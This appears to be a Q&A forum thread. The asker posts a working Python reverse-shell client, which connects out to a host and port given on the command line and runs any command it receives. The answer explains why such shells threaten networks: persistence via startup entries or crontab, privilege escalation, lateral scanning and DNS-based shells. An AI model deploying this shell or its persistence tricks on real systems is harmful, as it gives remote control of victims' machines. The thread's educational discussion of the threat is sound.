How dangerous are reverse-shells to a network?

Question

I'm working on a simple reverse-shell thingy in Python. It can accept and interpret commands on a shell spawned on the victim. Unfortunately it doesn't support features like ping, traceroute, nbtstat (for windows machines), nslookup (for windows too), for reasons I don't understand well enough. My question is, how much of a threat are these reverse-shells to a network? They seem trivial in the sense that a standard user would (and should) have their privileges restricted, so no harm can really be done, and the reverse shell seems like something you'd go over to a mate's house and plug into his computer for proof-of-concept. Also, links to further reading would be appreciated; the "inside-out" attacks really interest me. Thingy: Ah sorry forgot to include the "thingy" :)

#! /usr/bin/python3

import socket, subprocess, os
from sys import argv

script, host, port = argv


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((str(host), int(port)))
except ValueError as err:
    print ("You entered the wrong host / port combination or something...")
    print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
    print ("Socket error of some sort...")
    print ("Here is the error message:\n\n\n{}".format(err))


while True:
    s.send("Command: ".encode("utf-8"))
    comm = s.recv(4096)
    comm = comm.decode("utf-8")
    print (comm)
    if comm[:2] == "cd":
        os.chdir(comm[3:].rstrip())
    p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
    s.send(p.stdout.read().encode("utf-8"))

Answer 1

In an ideal world, no computer should ever have a vulnerability, right? Unfortunately, we don't live in such a dreamworld, and when vulnerabilities are exploited, the payload is often a shell of some kind.

Even the most restrictive networks often allow DNS queries to be sent and responses received; this is sufficient to host a reverse shell, but not a forward shell.

Sometimes it's only a matter of time. Many a nasty surprise has been had as a result of the underprivileged breaking out of their confines with privilege escalation vulnerabilities, local buffer overflows, etc, and if you have a shell running as an underprivileged user on a system at the right time, that's your foot in the door. Underprivileged access is good for the patient "hacker"; he/she can just bide time waiting for a vulnerability to come along...

... and then what better tool to keep access to the system when administrative access is obtained? It just needs to be added to startup registry, as a system service, crontab or many other places...

That aside, not every vulnerability needs to result in root access. I recall once upon a time when I'd written a C program to serve a few static images. Now you'd think that such a program shouldn't contain a buffer overflow, and I was fairly confident, but it did. It did, and it was exploited. It might've been isolated from the rest of the system, but that didn't stop the "hacker" from running nmap to scan subranges on my system.

Perhaps if I'd had a network-enabled printer on my network, or a vulnerable router, they could've used the underprivileged account to gain access to other systems! At that point, again, such a hacker could bide their time, occasionally testing the entire internal network for vulnerabilities in the future and waiting for administrative access, if the intercepted traffic and documents aren't lucrative enough...

This also reminds me of an era when IRC was a disgusting quagmire of infectious filth. Spam would be in the form of commands which some users would type, and then their systems would be used for further spam, of course. This is still no doubt the fate of many compromised machines, since forging unsolicited bulk email doesn't require administrative tools and may provide a financial incentive.

While we're on the topic of financial incentives, have you been following the price of ether?